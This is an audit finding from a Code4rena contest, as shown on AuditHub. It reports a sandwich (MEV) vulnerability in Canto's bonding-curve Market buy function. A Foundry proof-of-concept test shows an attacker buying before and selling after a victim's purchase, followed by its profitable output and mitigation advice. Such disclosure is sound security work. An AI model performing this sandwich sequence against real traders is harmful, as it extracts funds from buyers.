Canto Application Specific Dollars and Bonding Curves for 1155s - KupiaSec's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 106/120

Findings: 1

Award: $1.37

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150-L169

Vulnerability details

Impact

Every buy actions can be sandwich attacked, attackers make profit which is generated from share buyers paying more than they should do. This is even more serious with using LinearBondingCurve where price impact is high as buy actions happen.

Proof of Concept

The price of a share increases as buyers purchase shares, while the price to sell a share is same as buying last share. This logic/feature includes a vunerability when there are buy transactions in mempool, a MEV attacker will overlap the transaction with their buy and sell actions before and after the original transaction, which generates profits for the attacker while making loss for the share buyer.

Here's a testcase for PoC:

function testSandwich() public {
    uint256 shareId = 1;
    uint256 purchaseCount = 3;
    uint256 price;
    uint256 fee;

    // Supply token for alice and bob
    token.transfer(alice, 1e20);
    token.transfer(bob, 1e20);

    // Allow tokens for market
    vm.prank(alice);
    token.approve(address(market), type(uint256).max);
    vm.prank(bob);
    token.approve(address(market), type(uint256).max);
    vm.stopPrank();

    // Expected price for alice to buy 3 shares
    (price, fee) = bondingCurve.getPriceAndFee(1, purchaseCount);
    uint256 expectedPrice = price + fee;

    uint256 bobPrevBal = token.balanceOf(bob);
    uint256 alicePrevBal = token.balanceOf(alice);

    // Bob - sandwich buy
    vm.prank(bob);
    market.buy(shareId, purchaseCount);

    // Alice - buy
    vm.prank(alice);
    market.buy(shareId, purchaseCount);

    // Bob - sandwich sell
    vm.prank(bob);
    market.sell(shareId, purchaseCount);
    vm.stopPrank();

    uint256 bobCurrBal = token.balanceOf(bob);
    uint256 aliceCurrBal = token.balanceOf(alice);

    // Log values
    console2.logUint(alicePrevBal);
    console2.logUint(aliceCurrBal);

    console2.logUint(bobPrevBal);
    console2.logUint(bobCurrBal);

    assertLt(aliceCurrBal, alicePrevBal - expectedPrice);
    assertGt(bobCurrBal, bobPrevBal);
}

Result of running the test:

Running 1 test for src/test/AuditTest.t.sol:AuditTest
[PASS] testSandwich() (gas: 388464)
Logs:
  100000000000000000000
  99984250000000000000
  100000000000000000000
  100008021250000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

buy function should include maxAmount that defines max amount of tokens users pay for purchasing shares.

Some other recommendations would be adding minAmount in sell function even though there's no incentive for sandwiching sell, also adding deadlines for buying and sell would also be good practices.

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T09:57:31Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:27:39Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter